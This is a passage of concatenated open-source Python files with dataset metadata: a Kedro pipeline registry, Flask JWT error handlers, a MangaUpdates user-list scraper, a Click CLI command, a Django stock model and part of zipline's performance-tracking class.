"elmichelangelo/GalaxyFlow", "sub_path": "_Old_scripts/_CatalogView.py", "file_name": "_CatalogView.py", "file_ext": "py", "file_size_in_byte": 3792, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "astropy.table.Table", "line_number": 86, "usage_type": "call"}, {"api_name": "fitsio.read", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 87, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 100, "usage_type": "call"}, {"api_name": "helper_functions.luptize_deep_kids", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 140, "usage_type": "call"}, {"api_name": "helper_functions.luptize_deep_kids", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}]} {"seq_id": "27133883857", "text": "from typing import Dict\n\nfrom kedro.pipeline import Pipeline\nfrom mridle.pipelines.data_engineering import ris, dicom, dispo\nfrom mridle.pipelines.data_science import harvey, feature_engineering, descriptive_viz, random_forest, xgboost, \\\n logistic_regression, neural_net, model_comparison, live_data, xgboost_with_live\n\n\ndef register_pipelines() -> Dict[str, Pipeline]:\n \"\"\"Register the project's pipelines.\n\n Returns:\n A mapping from a pipeline name to a ``Pipeline`` object.\n \"\"\"\n\n ris_pipeline = ris.create_pipeline()\n dicom_pipeline = dicom.create_pipeline()\n dispo_pipeline = dispo.create_pipeline()\n descriptive_viz_pipeline = descriptive_viz.create_pipeline()\n feature_engineering_pipeline = feature_engineering.create_pipeline()\n live_data_pipeline = live_data.create_pipeline()\n harvey_pipeline = harvey.create_pipeline()\n logistic_regression_pipeline = logistic_regression.create_pipeline()\n random_forest_pipeline = random_forest.create_pipeline()\n xgboost_pipeline = xgboost.create_pipeline()\n xgboost_with_live_pipeline = xgboost_with_live.create_pipeline()\n neural_net_pipeline = neural_net.create_pipeline()\n model_comparison_pipeline = model_comparison.create_pipeline()\n\n return {\n\n \"__default__\": ris_pipeline + feature_engineering_pipeline + harvey_pipeline + logistic_regression_pipeline +\n random_forest_pipeline + xgboost_pipeline + model_comparison_pipeline,\n \"all\": ris_pipeline + dicom_pipeline + dispo_pipeline + descriptive_viz_pipeline +\n feature_engineering_pipeline + harvey_pipeline + logistic_regression_pipeline +\n random_forest_pipeline + xgboost_pipeline + neural_net_pipeline + model_comparison_pipeline,\n \"ris\": ris_pipeline,\n \"dicom\": dicom_pipeline,\n \"dispo\": dispo_pipeline,\n \"descriptive_viz\": descriptive_viz_pipeline,\n \"feature_engineering\": feature_engineering_pipeline,\n \"live_data\": live_data_pipeline,\n \"harvey\": harvey_pipeline,\n \"logistic_regression\": logistic_regression_pipeline,\n \"random_forest\": random_forest_pipeline,\n \"xgboost\": xgboost_pipeline,\n \"xgboost_with_live\": xgboost_with_live_pipeline,\n \"neural_net\": neural_net_pipeline,\n \"model_comparison\": model_comparison_pipeline,\n \"models\": harvey_pipeline + logistic_regression_pipeline + random_forest_pipeline + xgboost_pipeline\n }\n", "repo_name": "uzh-dqbm-cmi/mridle", "sub_path": "src/mridle/pipeline_registry.py", "file_name": "pipeline_registry.py", "file_ext": "py", "file_size_in_byte": 2440, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mridle.pipelines.data_engineering.ris.create_pipeline", "line_number": 16, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_engineering.ris", "line_number": 16, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_engineering.dicom.create_pipeline", "line_number": 17, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_engineering.dicom", "line_number": 17, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_engineering.dispo.create_pipeline", "line_number": 18, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_engineering.dispo", "line_number": 18, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.descriptive_viz.create_pipeline", "line_number": 19, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.descriptive_viz", "line_number": 19, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.feature_engineering.create_pipeline", "line_number": 20, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.feature_engineering", "line_number": 20, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.live_data.create_pipeline", "line_number": 21, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.live_data", "line_number": 21, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.harvey.create_pipeline", "line_number": 22, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.harvey", "line_number": 22, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.logistic_regression.create_pipeline", "line_number": 23, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.logistic_regression", "line_number": 23, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.random_forest.create_pipeline", "line_number": 24, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.random_forest", "line_number": 24, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.xgboost.create_pipeline", "line_number": 25, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.xgboost", "line_number": 25, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.xgboost_with_live.create_pipeline", "line_number": 26, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.xgboost_with_live", "line_number": 26, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.neural_net.create_pipeline", "line_number": 27, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.neural_net", "line_number": 27, "usage_type": "name"}, {"api_name": "mridle.pipelines.data_science.model_comparison.create_pipeline", "line_number": 28, "usage_type": "call"}, {"api_name": "mridle.pipelines.data_science.model_comparison", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 9, "usage_type": "name"}, {"api_name": "kedro.pipeline.Pipeline", "line_number": 9, "usage_type": "name"}]} {"seq_id": "14842356567", "text": "from flask import make_response, redirect, jsonify, render_template, request, url_for, Response\n\nfrom jots.webapp import app, jwt\n\nclass InvalidUsage(Exception):\n def __init__(self, message, status_code=400, payload=None):\n Exception.__init__(self)\n self.message = message\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n rv = dict(self.payload or ())\n rv['message'] = self.message\n return rv\n\n\n@app.errorhandler(InvalidUsage)\ndef handle_invalid_usage(error):\n return render_template(\"error.tmpl\",\n error_message=error.message,\n error_code=error.status_code,\n error_data=error.payload), int(error.status_code)\n\n\nclass InvalidAPIUsage(Exception):\n def __init__(self, message, status_code=400, payload=None):\n Exception.__init__(self)\n self.message = message\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n rv = dict(self.payload or ())\n rv['message'] = self.message\n return rv\n\n\n@app.errorhandler(InvalidAPIUsage)\ndef handle_invalid_api_usage(error):\n response = make_response(jsonify({'errorMessage': error.message,\n 'errorData': error.payload,\n 'errorCode': error.status_code}),\n error.status_code)\n response.headers['Content-Type'] = \"application/json\"\n return response\n\n@jwt.expired_token_loader\ndef expired_token_callback(token):\n token_type = token['type']\n if token_type == \"access\":\n print(\"access token has expired - goto refresh\")\n return redirect(url_for('private_webview_common.refresh_get', request_path=request.path))\n\n elif token_type == \"refresh\":\n print(\"refresh token has expired - goto root/login\")\n response = make_response(redirect(\"/\"))\n return response\n\n else:\n raise InvalidUsage(\"unknown token type\", status_code=403)\n\n\n@jwt.needs_fresh_token_loader\ndef fresh_token_loader_callback():\n print(\"token is not fresh - goto refresh\")\n response = make_response(redirect(\"/token/refresh\"))\n return response\n\n\n@jwt.invalid_token_loader\ndef invalid_token_callback():\n print(\"token is invalid - goto root/login\")\n response = make_response(redirect(\"/\"))\n return response\n\n\n@jwt.unauthorized_loader\ndef missing_token_callback(token):\n print(\"token is missing - goto root/login\")\n response = make_response(redirect(\"/\"))\n return response\n\n", "repo_name": "wilsonc101/jots", "sub_path": "webapp/error_handlers.py", "file_name": "error_handlers.py", "file_ext": "py", "file_size_in_byte": 2459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.render_template", "line_number": 20, "usage_type": "call"}, {"api_name": "jots.webapp.app.errorhandler", "line_number": 18, "usage_type": "call"}, {"api_name": "jots.webapp.app", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "jots.webapp.app.errorhandler", "line_number": 39, "usage_type": "call"}, {"api_name": "jots.webapp.app", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "jots.webapp.jwt.expired_token_loader", "line_number": 48, "usage_type": "attribute"}, {"api_name": "jots.webapp.jwt", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 67, "usage_type": "call"}, {"api_name": "jots.webapp.jwt.needs_fresh_token_loader", "line_number": 64, "usage_type": "attribute"}, {"api_name": "jots.webapp.jwt", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 74, "usage_type": "call"}, {"api_name": "jots.webapp.jwt.invalid_token_loader", "line_number": 71, "usage_type": "attribute"}, {"api_name": "jots.webapp.jwt", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "jots.webapp.jwt.unauthorized_loader", "line_number": 78, "usage_type": "attribute"}, {"api_name": "jots.webapp.jwt", "line_number": 78, "usage_type": "name"}]} {"seq_id": "12285850599", "text": "import importlib.util\nimport sys\nspec = importlib.util.spec_from_file_location('mangaupdates', 'mangaupdates/__init__.py')\nmangaupdates = importlib.util.module_from_spec(spec)\nsys.modules[spec.name] = mangaupdates\nspec.loader.exec_module(mangaupdates)\n\nfrom mangaupdates import Series, ListStats\nimport csv\nimport pandas as pd\nimport time\nimport os\nimport os.path\nimport argparse\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\n\nMAX_RETRIES = 5\nCONNECTION_ERROR_DELAY = 90\n\n\ndef make_dataset(series_ids, filename=None, delay=10, list_names=None, mode='n'):\n\n col_names = ('user_id', 'username', 'score', 'list_name', 'series_id')\n resuming = False\n if filename is not None:\n write_col_names = True\n if os.path.isfile(filename):\n if mode == 'n':\n print(filename, 'exists. Aborting...')\n return\n elif mode == 'a':\n print(filename, 'exists. Rows will be appended.')\n resuming = True\n write_col_names = False\n\n # get latest sid in final line\n # https://stackoverflow.com/a/54278929\n with open(filename, 'rb') as f:\n f.seek(-2, os.SEEK_END)\n while f.read(1) != b'\\n':\n f.seek(-2, os.SEEK_CUR)\n last_line = f.readline().decode()\n\n split_line = last_line.split(',')\n last_sid = int(split_line[-1])\n last_list_name = split_line[-2]\n last_sid_index = series_ids.index(last_sid)\n series_ids = series_ids[last_sid_index:]\n elif mode == 'w':\n print(filename, 'exists. Overwriting...')\n else:\n print(f\"Error: value for mode ({mode}) should be either 'n', \"\n \"'a', or 'w'. Exiting...\")\n return\n elif mode == 'n':\n mode = 'w'\n f = open(filename, mode, newline='')\n writer = csv.writer(f)\n\n if write_col_names:\n writer.writerows([col_names])\n\n if filename is None:\n rows = []\n\n if list_names is None:\n list_names = ('read', 'wish', 'unfinished', 'complete', 'hold')\n print('Lists:', list_names)\n\n sess = requests.Session()\n retries = Retry(total=MAX_RETRIES, backoff_factor=3)\n sess.mount('http://', HTTPAdapter(max_retries=retries))\n loaded = False\n try:\n for i, sid in enumerate(series_ids):\n loaded = False\n lists = ListStats(sid, session=sess)\n print(sid, end='\\t\\t', flush=True)\n for _ in range(MAX_RETRIES):\n try:\n lists.populate(list_names=list_names)\n break\n except requests.exceptions.ConnectionError as e:\n print(e)\n print('Retrying...')\n time.sleep(CONNECTION_ERROR_DELAY)\n else: # no break\n print('Skipping', sid, '(exceeded MAX_RETRIES)')\n continue\n\n\n for key in list_names:\n if resuming and i == 0:\n if list_names.index(key) <= list_names.index((last_list_name)):\n print('0 rows (resuming).')\n continue\n resuming = False\n # Since this program only writes to the file every iteration of\n # a list of a series, we know that on the previous run, the\n # program probably stopped between (instead of in the middle\n # of) writing to the file.\n # Thus, we assume that if the last entry on the file has\n # some series id `last_sid` and list name `last_list_name`, we\n # can simply skip all entries before that.\n new_rows = [(val.user_id, val.username, val.rating, key, sid) for val in lists.general_list(key)]\n print(key, f'{len(new_rows)} rows.', sep='\\t')\n if filename is None:\n rows.extend(new_rows)\n else:\n writer.writerows(new_rows)\n loaded = True\n time.sleep(delay)\n except (KeyboardInterrupt, requests.exceptions.ConnectionError) as e:\n print('\\n', e, sep='')\n if loaded:\n print(\"Stopped after loading\", sid)\n else:\n print(\"Stopped before loading\", sid)\n\n if filename is not None:\n f.close()\n return\n else:\n return rows\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(metavar='INPUT', dest='input',\n help='csv file containing series ids.')\n parser.add_argument(metavar='OUTPUT', dest='output',\n help='csv file where the output will be saved.')\n parser.add_argument('--headers', action='store_true',\n help='there are headers in the input file (overrides --column)')\n parser.add_argument('-n', default=10, dest='N', help='# of series to crawl.')\n parser.add_argument('-m', '--mode', default='n',\n help=\"'n': abort if OUTPUT file already exists (default).\"\n \"'a': append to OUTPUT file if already exists.\"\n \"'w': overwrite OUTPUT file (equivalent to --force).\")\n parser.add_argument('-f', '--force', action='store_true',\n help='overwrite the output file if it exists (instead '\n 'of appending to it). overrides --mode.')\n parser.add_argument('--all', action='store_true',\n help='\"read\", \"wish\", and \"unfinished\" lists will all be '\n 'crawled, otherwise only \"read\" will be crawled.')\n parser.add_argument('-c', '--column', default=0,\n help='column (0-indexed) of series id (overriden by --headers')\n parser.add_argument('--resume', action='store_true',\n help=\"equivalent to mode='a'. resumes progress if stopped\"\n \" previously. overrides --force.\")\n parser.add_argument('-d', '--delay', default=10,\n help='# of seconds of delay between GET requests.')\n parser.add_argument('--listnames', default='rwuch')\n args = parser.parse_args()\n\n list_names = ['read']\n if args.all:\n list_names.extend(['wish', 'unfinished', 'complete', 'hold'])\n elif set(args.listnames).issubset('rwuch'):\n list_names = []\n if 'r' in args.listnames:\n list_names.append('read')\n if 'w' in args.listnames:\n list_names.append('wish')\n if 'u' in args.listnames:\n list_names.append('unfinished')\n if 'c' in args.listnames:\n list_names.append('complete')\n if 'h' in args.listnames:\n list_names.append('hold')\n else:\n print('--listnames', args.listnames, 'is invalid. Aborting...')\n exit(-1)\n\n mode = args.mode\n if args.resume:\n mode = 'a'\n elif args.force:\n mode = 'w'\n\n # Get unique series IDs from file\n series_ids = []\n with open(args.input, 'r', newline='') as csvfile:\n csvreader = csv.reader(csvfile)\n if args.headers:\n header_names = next(csvreader)\n if 'series_id' in header_names:\n header = 'series_id'\n else:\n print('Error: No \"series_id\" header in', args.INPUT)\n csvfile.close()\n exit(-1)\n sid_index = header_names.index('series_id')\n else:\n sid_index = 0\n\n for i,row in enumerate(csvreader):\n if i >= int(args.N):\n break\n sid = int(row[sid_index])\n if sid not in series_ids:\n series_ids.append(sid)\n\n make_dataset(series_ids, filename=args.output, delay=args.delay, mode=mode,\n list_names=list_names)\n", "repo_name": "aerjayc/mu-api", "sub_path": "scripts/list_users.py", "file_name": "list_users.py", "file_ext": "py", "file_size_in_byte": 8091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "importlib.util.util.spec_from_file_location", "line_number": 3, "usage_type": "call"}, {"api_name": "importlib.util.util", "line_number": 3, "usage_type": "attribute"}, {"api_name": "importlib.util", "line_number": 3, "usage_type": "name"}, {"api_name": "importlib.util.util.module_from_spec", "line_number": 4, "usage_type": "call"}, {"api_name": "importlib.util.util", "line_number": 4, "usage_type": "attribute"}, {"api_name": "importlib.util", "line_number": 4, "usage_type": "name"}, {"api_name": "sys.modules", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.SEEK_END", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.SEEK_CUR", "line_number": 43, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 60, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 72, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.util.retry.Retry", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.adapters.HTTPAdapter", "line_number": 74, "usage_type": "call"}, {"api_name": "mangaupdates.ListStats", "line_number": 79, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 85, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 88, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 114, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 115, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 130, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 186, "usage_type": "call"}]} {"seq_id": "8895452609", "text": "import click\nfrom bluebees.client.application.application_data import ApplicationData, app_name_list\nfrom bluebees.client.data_paths import base_dir, app_dir\n\n\ndef validate_name(ctx, param, value):\n if not value:\n raise click.BadParameter('This option is required')\n if not app_name_list() or value not in app_name_list():\n raise click.BadParameter(f'The \"{value}\" application not exist')\n return value\n\n\n@click.command()\n@click.option('--name', '-n', type=str, default='', required=True,\n help='Specify the name of application', callback=validate_name)\ndef info(name):\n '''Get description about a application'''\n\n app_data = ApplicationData.load(base_dir + app_dir + name + '.yml')\n\n click.echo(click.style('***** Application data *****', fg='cyan'))\n click.echo(click.style(str(app_data), fg='cyan'))\n", "repo_name": "matheuswhite/bluebees", "sub_path": "bluebees/client/application/commands/info.py", "file_name": "info.py", "file_ext": "py", "file_size_in_byte": 851, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "click.BadParameter", "line_number": 8, "usage_type": "call"}, {"api_name": "bluebees.client.application.application_data.app_name_list", "line_number": 9, "usage_type": "call"}, {"api_name": "click.BadParameter", "line_number": 10, "usage_type": "call"}, {"api_name": "bluebees.client.application.application_data.ApplicationData.load", "line_number": 20, "usage_type": "call"}, {"api_name": "bluebees.client.application.application_data.ApplicationData", "line_number": 20, "usage_type": "name"}, {"api_name": "bluebees.client.data_paths.base_dir", "line_number": 20, "usage_type": "name"}, {"api_name": "bluebees.client.data_paths.app_dir", "line_number": 20, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 22, "usage_type": "call"}, {"api_name": "click.style", "line_number": 22, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 23, "usage_type": "call"}, {"api_name": "click.style", "line_number": 23, "usage_type": "call"}, {"api_name": "click.command", "line_number": 14, "usage_type": "call"}, {"api_name": "click.option", "line_number": 15, "usage_type": "call"}]} {"seq_id": "4730789320", "text": "from django.db import models\nfrom .address import Address\nfrom .seller import Seller\nfrom .product import Product\nfrom django.db import transaction, IntegrityError\nfrom typing import Optional\nfrom datetime import datetime\n\n\nclass Stock(models.Model):\n class Meta:\n app_label = 'app'\n db_table = 'stock'\n\n total = models.IntegerField()\n\n seller = models.ForeignKey(Seller, on_delete=models.DO_NOTHING)\n product = models.ForeignKey(Product, on_delete=models.DO_NOTHING)\n collect_at_start = models.DateTimeField(blank=True)\n collect_at_end = models.DateTimeField(blank=True)\n\n def __init__(self, seller, product, total, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.seller = seller\n self.product = product\n self.total = total\n\n def save(self, *args, **kwargs):\n try:\n super().save()\n return True\n except IntegrityError:\n transaction.set_rollback(True)\n return False\n\n @classmethod\n def update_stock(cls, filters: dict, total: int, collect_at_start: Optional[datetime] = None,\n collect_at_end: Optional[datetime] = None):\n stock = cls.objects.first().filter(**filters)\n stock.total = total\n if collect_at_start:\n stock.collect_at_start = collect_at_start\n if collect_at_end:\n stock.collect_at_end = collect_at_end\n stock.save()\n\n @classmethod\n def find_by_products(cls, product_id: int, origin: tuple):\n stocks = cls.objects.all().filter(cls.product.id == product_id)\n sellers = []\n for stock in stocks:\n sellers.append({\n \"seller\": stock[\"seller\"],\n \"price\": stock[\"product\"][\"price\"],\n \"distance\": Address.calc_distance((stock[\"seller\"].address.latitude, stock[\"seller\"].address.longitude),\n origin)\n })\n return sorted(sellers, key=lambda k: k['distance'])\n", "repo_name": "AngeloMendes/delivery_api", "sub_path": "api/app/models/stock.py", "file_name": "stock.py", "file_ext": "py", "file_size_in_byte": 2025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 17, "usage_type": "call"}, {"api_name": "seller.Seller", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.DO_NOTHING", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 18, "usage_type": "call"}, {"api_name": "product.Product", "line_number": 18, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.DO_NOTHING", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.db.models.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.IntegrityError", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.transaction.set_rollback", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "address.Address.calc_distance", "line_number": 55, "usage_type": "call"}, {"api_name": "address.Address", "line_number": 55, "usage_type": "name"}]} {"seq_id": "41800982519", "text": "from __future__ import division\nimport logbook\n\nimport numpy as np\nimport pandas as pd\nfrom collections import Counter, OrderedDict, defaultdict\n\nfrom six import iteritems, itervalues\n\nimport zipline.protocol as zp\nfrom . position import positiondict\n\nlog = logbook.Logger('Performance')\n\n\nclass PerformancePeriod(object):\n\n def __init__(\n self,\n starting_cash,\n period_open=None,\n period_close=None,\n keep_transactions=True,\n keep_orders=False,\n serialize_positions=True):\n\n self.period_open = period_open\n self.period_close = period_close\n\n self.ending_value = 0.0\n self.period_cash_flow = 0.0\n self.pnl = 0.0\n # sid => position object\n self.positions = positiondict()\n self.ending_cash = starting_cash\n # rollover initializes a number of self's attributes:\n self.rollover()\n self.keep_transactions = keep_transactions\n self.keep_orders = keep_orders\n\n # Arrays for quick calculations of positions value\n self._position_amounts = pd.Series()\n self._position_last_sale_prices = pd.Series()\n\n self.calculate_performance()\n\n # An object to recycle via assigning new values\n # when returning portfolio information.\n # So as not to avoid creating a new object for each event\n self._portfolio_store = zp.Portfolio()\n self._positions_store = zp.Positions()\n self.serialize_positions = serialize_positions\n\n def rollover(self):\n self.starting_value = self.ending_value\n self.starting_cash = self.ending_cash\n self.period_cash_flow = 0.0\n self.pnl = 0.0\n self.processed_transactions = defaultdict(list)\n self.orders_by_modified = defaultdict(OrderedDict)\n self.orders_by_id = OrderedDict()\n\n def ensure_position_index(self, sid):\n try:\n self._position_amounts[sid]\n self._position_last_sale_prices[sid]\n except (KeyError, IndexError):\n self._position_amounts = \\\n self._position_amounts.append(pd.Series({sid: 0.0}))\n self._position_last_sale_prices = \\\n self._position_last_sale_prices.append(pd.Series({sid: 0.0}))\n\n def add_dividend(self, div):\n # The dividend is received on midnight of the dividend\n # declared date. We calculate the dividends based on the amount of\n # stock owned on midnight of the ex dividend date. However, the cash\n # is not dispersed until the payment date, which is\n # included in the event.\n self.positions[div.sid].add_dividend(div)\n\n def handle_split(self, split):\n if split.sid in self.positions:\n # Make the position object handle the split. It returns the\n # leftover cash from a fractional share, if there is any.\n position = self.positions[split.sid]\n leftover_cash = position.handle_split(split)\n self._position_amounts[split.sid] = position.amount\n self._position_last_sale_prices[split.sid] = \\\n position.last_sale_price\n\n if leftover_cash > 0:\n self.handle_cash_payment(leftover_cash)\n\n def update_dividends(self, todays_date):\n \"\"\"\n Check the payment date and ex date against today's date\n to determine if we are owed a dividend payment or if the\n payment has been disbursed.\n \"\"\"\n cash_payments = 0.0\n stock_payments = Counter() # maps sid to number of shares paid\n for sid, pos in iteritems(self.positions):\n cash_payment, stock_payment = pos.update_dividends(todays_date)\n cash_payments += cash_payment\n stock_payments.update(stock_payment)\n\n for stock, payment in iteritems(stock_payments):\n position = self.positions[stock]\n position.amount += payment\n self.ensure_position_index(stock)\n self._position_amounts[stock] = position.amount\n self._position_last_sale_prices[stock] = \\\n position.last_sale_price\n\n # credit our cash balance with the dividend payments, or\n # if we are short, debit our cash balance with the\n # payments.\n # debit our cumulative cash spent with the dividend\n # payments, or credit our cumulative cash spent if we are\n # short the stock.\n self.handle_cash_payment(cash_payments)\n\n # recalculate performance, including the dividend\n # payments\n self.calculate_performance()\n\n def handle_cash_payment(self, payment_amount):\n self.adjust_cash(payment_amount)\n\n def handle_commission(self, commission):\n # Deduct from our total cash pool.\n self.adjust_cash(-commission.cost)\n # Adjust the cost basis of the stock if we own it\n if commission.sid in self.positions:\n self.positions[commission.sid].\\\n adjust_commission_cost_basis(commission)\n\n def adjust_cash(self, amount):\n self.period_cash_flow += amount\n\n def calculate_performance(self):\n self.ending_value = self.calculate_positions_value()\n\n total_at_start = self.starting_cash + self.starting_value\n self.ending_cash = self.starting_cash + self.period_cash_flow\n total_at_end = self.ending_cash + self.ending_value\n\n self.pnl = total_at_end - total_at_start\n if total_at_start != 0:\n self.returns = self.pnl / total_at_start\n else:\n self.returns = 0.0\n\n def record_order(self, order):\n if self.keep_orders:\n dt_orders = self.orders_by_modified[order.dt]\n if order.id in dt_orders:\n del dt_orders[order.id]\n dt_orders[order.id] = order\n # to preserve the order of the orders by modified date\n # we delete and add back. (ordered dictionary is sorted by\n # first insertion date).\n if order.id in self.orders_by_id:\n del self.orders_by_id[order.id]\n self.orders_by_id[order.id] = order\n\n def update_position(self, sid, amount=None, last_sale_price=None,\n last_sale_date=None, cost_basis=None):\n pos = self.positions[sid]\n self.ensure_position_index(sid)\n\n if amount is not None:\n pos.amount = amount\n self._position_amounts[sid] = amount\n if last_sale_price is not None:\n pos.last_sale_price = last_sale_price\n self._position_last_sale_prices[sid] = last_sale_price\n if last_sale_date is not None:\n pos.last_sale_date = last_sale_date\n if cost_basis is not None:\n pos.cost_basis = cost_basis\n\n def execute_transaction(self, txn):\n # Update Position\n # ----------------\n position = self.positions[txn.sid]\n position.update(txn)\n self.ensure_position_index(txn.sid)\n self._position_amounts[txn.sid] = position.amount\n\n self.period_cash_flow -= txn.price * txn.amount\n\n if self.keep_transactions:\n self.processed_transactions[txn.dt].append(txn)\n\n def calculate_positions_value(self):\n return np.dot(self._position_amounts, self._position_last_sale_prices)\n\n def update_last_sale(self, event):\n if event.sid not in self.positions:\n return\n\n if event.type != zp.DATASOURCE_TYPE.TRADE:\n return\n\n if not pd.isnull(event.price):\n # isnan check will keep the last price if its not present\n self.update_position(event.sid, last_sale_price=event.price,\n last_sale_date=event.dt)\n\n def __core_dict(self):\n rval = {\n 'ending_value': self.ending_value,\n # this field is renamed to capital_used for backward\n # compatibility.\n 'capital_used': self.period_cash_flow,\n 'starting_value': self.starting_value,\n 'starting_cash': self.starting_cash,\n 'ending_cash': self.ending_cash,\n 'portfolio_value': self.ending_cash + self.ending_value,\n 'pnl': self.pnl,\n 'returns': self.returns,\n 'period_open': self.period_open,\n 'period_close': self.period_close\n }\n\n return rval\n\n def to_dict(self, dt=None):\n \"\"\"\n Creates a dictionary representing the state of this performance\n period. See header comments for a detailed description.\n\n Kwargs:\n dt (datetime): If present, only return transactions for the dt.\n \"\"\"\n rval = self.__core_dict()\n\n if self.serialize_positions:\n positions = self.get_positions_list()\n rval['positions'] = positions\n\n # we want the key to be absent, not just empty\n if self.keep_transactions:\n if dt:\n # Only include transactions for given dt\n transactions = [x.to_dict()\n for x in self.processed_transactions[dt]]\n else:\n transactions = \\\n [y.to_dict()\n for x in itervalues(self.processed_transactions)\n for y in x]\n rval['transactions'] = transactions\n\n if self.keep_orders:\n if dt:\n # only include orders modified as of the given dt.\n orders = [x.to_dict()\n for x in 